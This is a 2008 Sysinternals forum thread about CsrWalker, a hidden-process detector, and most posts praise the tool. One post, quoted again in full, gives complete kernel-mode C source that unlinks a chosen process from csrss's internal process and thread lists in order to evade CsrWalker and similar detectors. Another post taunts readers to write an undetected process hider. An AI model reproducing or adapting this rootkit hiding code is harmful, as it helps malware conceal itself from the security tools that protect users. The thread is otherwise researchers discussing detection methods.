Sysinternals Homepage
Forum Home Forum Home > Windows Discussions > Malware
  New Posts New Posts RSS Feed: CsrWalker - processes detection from User Mode
  FAQ FAQ  Forum Search   Calendar   Register Register  Login Login

CsrWalker - processes detection from User Mode
 Post Reply Post Reply Page  12>
Author
Message Reverse Sort Order
  Share Topic Share Topic  Topic Search Topic Search  Topic Options Topic Options
Orkblutt View Drop Down
Newbie
Newbie


Joined: 19 July 2005
Online Status: Offline
Posts: 15 		Post Options Post Options   Quote Orkblutt Quote  Post ReplyReply Direct Link To This Post Topic: CsrWalker - processes detection from User Mode
    Posted: 20 September 2008 at 10:02am
Cool to see you here, welcome.


Thank you Star
Back to Top
SystemPro View Drop Down
Senior Member
Senior Member
Avatar

Joined: 26 April 2007
Location: Germany
Online Status: Offline
Posts: 504 		Post Options Post Options   Quote SystemPro Quote  Post ReplyReply Direct Link To This Post Posted: 19 September 2008 at 6:22pm

just a little snipet to bypass your tool... I was too lazy to try to implement it from userland and i found an almost ready to use implementation from the 0vercl0ck's blog.
I just added the CSR_THREAD and the Vista part.
I didn't try to check if the hardcoded offset are valid for Vista... it's just for the idea...

best regards,

Orkblutt
Cool to see you here, welcome. Thumbs%20Up
Concentrate on your strengths.
Back to Top
Orkblutt View Drop Down
Newbie
Newbie


Joined: 19 July 2005
Online Status: Offline
Posts: 15 		Post Options Post Options   Quote Orkblutt Quote  Post ReplyReply Direct Link To This Post Posted: 19 September 2008 at 3:42pm
Hi DiabloNova,

just a little snipet to bypass your tool... I was too lazy to try to implement it from userland and i found an almost ready to use implementation from the 0vercl0ck's blog.
I just added the CSR_THREAD and the Vista part.
I didn't try to check if the hardcoded offset are valid for Vista... it's just for the idea...

best regards,

Orkblutt

/*
Anti CsrWalker from r0 by Orkblutt
( http://orkblutt.free.fr )

Original idea and implementation by 0vercl0ck
http://overclok.free.fr/Codes/PspCidTable/UnlinkInCrss%20-%20Ring0.html
http://0vercl0k.blogspot.com/

modified to unlink CSR_THREAD and to work under Vista
*/

int UnlinkIt(ULONG Pid, PEPROCESS pCsrss)
{
   PEPROCESS                pCurrentEprocess;
    PLIST_ENTRY              pleCurrent;
    LIST_ENTRY               lEntry;
    ULONG                    ulStartingValue;
    KAPC_STATE               kApcState;
    PUCHAR                   pPeb , pPebLdr , pPebLdrEntry , imgBaseCsrsrv , name , CsrLockProcessByClientId = 0 , CsrRootProcess , CsrLockThreadByClientId, CsrThreadHashTable ;
    PIMAGE_DOS_HEADER        pImgDosHeader;
    PIMAGE_NT_HEADERS        pImgNtHeader;
    PIMAGE_EXPORT_DIRECTORY  pImgExportDirectory;
    PULONG                   rvaNameTable , rvaAdressTable;
    int                     i;
    PCSR_PROCESS            pCsrProcess;
    PCSR_THREAD                pCsrHashThread;

    imgBaseCsrsrv            = NULL;
    CsrLockProcessByClientId = NULL;
    CsrLockThreadByClientId = NULL;
    CsrThreadHashTable = NULL;
    
   

 
    KeStackAttachProcess( (PKPROCESS)pCsrss , &kApcState );


    pPeb    = (PUCHAR)*(PULONG)((PUCHAR)pCsrss + 0x1b0);                //   +0x1b0 Peb              : Ptr32 _PEB
    pPebLdr = (PUCHAR)*(PULONG)(pPeb + 0x00c);                         //   +0x00c Ldr              : Ptr32 _PEB_LDR_DATA

    pleCurrent        = (PLIST_ENTRY)(pPebLdr+0x00c);                  //+0x00c InLoadOrderModuleList : _LIST_ENTRY
    pPebLdrEntry      = (PUCHAR)pleCurrent->Flink;
    ulStartingValue   = (ULONG)pPebLdrEntry;
    pleCurrent        = (PLIST_ENTRY)pleCurrent->Flink;


   
    while (ulStartingValue != (ULONG)pleCurrent->Flink)
    {
        // DbgPrint("Modul : %ws.\n" , *(PULONG)(pPebLdrEntry+0x024+0x004) );   //+0x024 FullDllName      : _UNICODE_STRING //   +0x004 Buffer           : Ptr32 Uint2B
        if ( wcsstr( (wchar_t*)*(PULONG)(pPebLdrEntry+0x024+0x004) , L"CSRSRV.dll" ) != NULL )
        {
            imgBaseCsrsrv = (PUCHAR)*(PULONG)(pPebLdrEntry + 0x018) ;                   //   +0x018 DllBase          : Ptr32 Void
            break;
        }
        pPebLdrEntry = (PUCHAR)pleCurrent->Flink;
        pleCurrent   = (PLIST_ENTRY)pleCurrent->Flink;
    }
    if (imgBaseCsrsrv == NULL)
    {
        KeUnstackDetachProcess( &kApcState );
        return 0;
    }

    //DbgPrint("Image Base Csrsrv.dll : %x." , imgBaseCsrsrv );

    /*                      */
    /* Parcours de son EAT  */

    pImgDosHeader       = (PIMAGE_DOS_HEADER)imgBaseCsrsrv;
    pImgNtHeader        = (PIMAGE_NT_HEADERS)(imgBaseCsrsrv + pImgDosHeader->e_lfanew);
    pImgExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(imgBaseCsrsrv + pImgNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

    rvaNameTable   = (PULONG)(imgBaseCsrsrv + pImgExportDirectory->AddressOfNames);
    rvaAdressTable = (PULONG)(imgBaseCsrsrv + pImgExportDirectory->AddressOfFunctions);

    for ( i = 0 ; i < (int)pImgExportDirectory->NumberOfFunctions ; i++)
    {
        //DbgPrint("Function : %s.\n" , imgBaseCsrsrv + rvaNameTable );
        if ( strcmp("CsrLockProcessByClientId" , (const char *)imgBaseCsrsrv + rvaNameTable) == 0 )
        {
            CsrLockProcessByClientId = imgBaseCsrsrv + rvaAdressTable;
            // DbgPrint("CsrLockProcessByClientId : %x.\n" , CsrLockProcessByClientId );
            break;
        }
    }
    if ( CsrLockProcessByClientId == NULL )
    {
        KeUnstackDetachProcess( &kApcState );
        return 0;
    }

  
    for ( i = 0 ; i < 50 ; i++ )
    {
        if ( (*(CsrLockProcessByClientId+i) == 0x83) && (*(CsrLockProcessByClientId+i+1) == 0x22) && (*(CsrLockProcessByClientId+i+2) == 0x00) && (*(CsrLockProcessByClientId+i+3) == 0x8B) && (*(CsrLockProcessByClientId+i+4) == 0x35) &&
                (*(CsrLockProcessByClientId+i+9) == 0x83) && (*(CsrLockProcessByClientId+i+10) == 0xC6) && (*(CsrLockProcessByClientId+i+11) == 0x08) )
        {
            CsrRootProcess = (PUCHAR)*(PULONG)(*(PULONG)(CsrLockProcessByClientId+i+5));
            break;
        }
    }
    if ( i == 50 )
    {
        KeUnstackDetachProcess( &kApcState );
        return 0;
    }


    pCsrProcess = (PCSR_PROCESS)CsrRootProcess;

  
    pCurrentEprocess        = IoGetCurrentProcess();
    ulStartingValue         = (ULONG)pCurrentEprocess;

    do
    {
        if (Pid == *(PULONG)((PUCHAR)pCurrentEprocess + 0x084))
            break;

        pleCurrent = (PLIST_ENTRY)((PUCHAR)pCurrentEprocess + 0x88);    //   +0x088 ActiveProcessLinks : _LIST_ENTRY
        pCurrentEprocess = (PEPROCESS)((PUCHAR)pleCurrent->Flink - 0x88);

    }
    while ((ULONG)pCurrentEprocess != ulStartingValue);

    if ((ULONG)pCurrentEprocess == ulStartingValue)
    {
        KeUnstackDetachProcess( &kApcState );
        return 0;
    }



    i = 0;  

    lEntry  = pCsrProcess->ListLink;
    ulStartingValue = (ULONG)pCsrProcess;
    pCsrProcess = (PCSR_PROCESS)((PUCHAR)lEntry.Flink - 0x8);


    while (ulStartingValue != (ULONG)pCsrProcess)
    {
        if ( (ULONG)pCsrProcess->ClientId.UniqueProcess == *(PULONG)((PUCHAR)pCurrentEprocess + 0x084) ) //   +0x084 UniqueProcessId  : Ptr32 Void
        {
            *(PULONG)(pCsrProcess->ListLink.Blink)             = (ULONG) pCsrProcess->ListLink.Flink;
            *(PULONG)((PUCHAR)pCsrProcess->ListLink.Flink + 4) = (ULONG)pCsrProcess->ListLink.Blink;
            i = 1;
        }

        lEntry = *(lEntry.Flink);
        pCsrProcess = (PCSR_PROCESS)((PUCHAR)lEntry.Flink - 0x8);
    }
    if ( i == 0 )
    {
        KeUnstackDetachProcess( &kApcState );
        return 0;
    }

    for ( i = 0 ; i < (int)pImgExportDirectory->NumberOfFunctions ; i++)
    {
        if ( strcmp("CsrLockThreadByClientId" , (const char *)imgBaseCsrsrv + rvaNameTable) == 0 )
        {
            CsrLockThreadByClientId = imgBaseCsrsrv + rvaAdressTable;
            break;
        }
    }

    if ( CsrLockThreadByClientId == NULL )
    {
        KeUnstackDetachProcess( &kApcState );
        return 0;
    }


    for ( i = 0 ; i < 50 ; i++ )
    {
        if ( (*(CsrLockThreadByClientId+i) == 0x8D) && (*(CsrLockThreadByClientId+i+2) == 0xC5))
        {
            CsrThreadHashTable = (PUCHAR)(*(PULONG)(CsrLockThreadByClientId+i+3));
            break;
        }
    }
    if(CsrThreadHashTable == 0)
    {
          KeUnstackDetachProcess( &kApcState );
          return 0;
    }

    for (i = 0; i < 256; i++)
    {
        PLIST_ENTRY ListHead, NextEntry;

        ListHead = (PLIST_ENTRY)(CsrThreadHashTable + (8 * i));

        NextEntry = ListHead->Flink;

        while (NextEntry != ListHead)
        {
            pCsrHashThread = CONTAINING_RECORD(NextEntry, CSR_THREAD, HashLinks);
            if (pCsrHashThread)
            {
                if ((ULONG)pCsrHashThread->Process->ClientId.UniqueProcess == Pid)
                {
                    *(PULONG)(NextEntry->Blink)             = (ULONG) NextEntry->Flink;
                    *(PULONG)((PUCHAR)NextEntry->Flink + 4) = (ULONG)NextEntry->Blink;
                }
            }
            NextEntry = NextEntry->Flink;
        }
    }

    KeUnstackDetachProcess( &kApcState );
    return 1;
}


void UnlinkFromCsrss(ULONG PidToHide)
{

    PEPROCESS                pCurrentEprocess;
    PLIST_ENTRY              pleCurrent;
    ULONG                    ulStartingValue;

    pCurrentEprocess        = IoGetCurrentProcess();
    ulStartingValue         = (ULONG)pCurrentEprocess;

    do
    {
        if (strncmp("csrss.exe" , (const char *)pCurrentEprocess + 0x174 , 15) == 0)
        {
            if(UnlinkIt(PidToHide, pCurrentEprocess))
                DbgPrint("%d unlinked from csrss:%d\n", PidToHide, *(PULONG)((PUCHAR)pCurrentEprocess + 0x084));
            else
                DbgPrint("can't unlink %d from csrss:%d\n", PidToHide, *(PULONG)((PUCHAR)pCurrentEprocess + 0x084));

        }
        pleCurrent = (PLIST_ENTRY)((PUCHAR)pCurrentEprocess + 0x88);
        pCurrentEprocess = (PEPROCESS)((PUCHAR)pleCurrent->Flink - 0x88);

    }
    while ((ULONG)pCurrentEprocess != ulStartingValue);
}
 

Edited by Orkblutt - 19 September 2008 at 3:54pm
Back to Top
Russell View Drop Down
Groupie
Groupie


Joined: 20 June 2007
Online Status: Offline
Posts: 64 		Post Options Post Options   Quote Russell Quote  Post ReplyReply Direct Link To This Post Posted: 20 July 2008 at 2:39am
Thanks for sharing CsrWalker Diablo. Great Tool! Thanks again for the time and work you put into it.
Back to Top
Meriadoc View Drop Down
Senior Member
Senior Member
Avatar

Joined: 22 August 2006
Online Status: Offline
Posts: 233 		Post Options Post Options   Quote Meriadoc Quote  Post ReplyReply Direct Link To This Post Posted: 19 July 2008 at 8:49am
VERY nice work Diablo...thankyou!
Back to Top
Diablo View Drop Down
Senior Member
Senior Member
Avatar

Joined: 16 July 2008
Location: Western Sahara
Online Status: Offline
Posts: 251 		Post Options Post Options   Quote Diablo Quote  Post ReplyReply Direct Link To This Post Posted: 19 July 2008 at 7:10am
Thanks for the feedback.

However I also get some kind of another feedback from international hax0rs community.

They already bypassed this tool

This is quote from one of the chinese forums (I can't register and login there):

bypassed by GUI hacking


Here is the mine answer:

1)
2) GUI is Graphical User Interface abbreviation. This application is CUI - Console User Interface. So how it can be bypassed by GUI if it haven't GUI? They definitely not familar with common Windows abbreviations or bypassed some other application

Another quote which make me laught
Bypassed by ZwOpenProcess hook


Here is mine answer:
Regarding to ZwOpenProcess it is a stub in ntoskrnl.exe which looks like this (Server 2003) 

.text:0043B7E0                 mov     eax, 80h

.text:0043B7E5                 lea     edx, [esp+ProcessHandle]

.text:0043B7E9                 pushf

.text:0043B7EA                 push    8

.text:0043B7EC                 call    _KiSystemService

.text:0043B7F1                 retn    10h


This is stub. It isn't called inside NtOpenProcess SSDT entry. If you hooked it, it is not enough to prevent application from opening other process, simple because this function never been called from user mode.

If you hooked ZwOpenProcess in user mode, than it have sense. But you should hook this function inside detector.

It is just example of illeterate nature of some hax0rs , who are unfamilar with common abbreviations.

And this is doesn't meaningful simple because GUI hacking and preventing detector from work isn't means BYPASSING. Using such "tricks" is a sign not of hackers, but suxx0rs The best proof of bypassing will be not pathetic tricks as listed above - the best proof of your abilities will be coding undetected sample of hidden process hider, which will bypass conceptually all public detectors (including csrwalker), as it did phide_ex in its time. Anything else is bullsh*t of unsatisfied hax0rs.

Edited by Diablo - 19 July 2008 at 7:11am
Back to Top
EASTER View Drop Down
Senior Member
Senior Member
Avatar

Joined: 27 October 2006
Location: United States
Online Status: Offline
Posts: 336 		Post Options Post Options   Quote EASTER Quote  Post ReplyReply Direct Link To This Post Posted: 18 July 2008 at 5:34am

What else to possibly add to this.

Brilliant effort and thanks for the field details and accompanying commentary.

EASTER Wink
INTENSIVE TECHNICAL RESEARCH ANALYSIS AND STEALTH EXAMINER.
Back to Top
Fyyre View Drop Down
Senior Member
Senior Member
Avatar

Joined: 12 April 2006
Online Status: Offline
Posts: 227 		Post Options Post Options   Quote Fyyre Quote  Post ReplyReply Direct Link To This Post Posted: 17 July 2008 at 11:48pm
complete with lovely bow icon~  good work friend =)


Edited by Fyyre - 17 July 2008 at 11:51pm
Back to Top
Elite View Drop Down
Senior Member
Senior Member
Avatar

Joined: 15 April 2007
Location: United States
Online Status: Offline
Posts: 175 		Post Options Post Options   Quote Elite Quote  Post ReplyReply Direct Link To This Post Posted: 17 July 2008 at 6:30pm
Fun little app.
4 > 1
Back to Top
USForce View Drop Down
Senior Member
Senior Member


Joined: 26 October 2007
Location: United States
Online Status: Offline
Posts: 150 		Post Options Post Options   Quote USForce Quote  Post ReplyReply Direct Link To This Post Posted: 17 July 2008 at 4:28pm
Thank you EP_X0FF Wink

It's really interesting
Back to Top
 Post Reply Post Reply Page  12>

Forum Jump Forum Permissions View Drop Down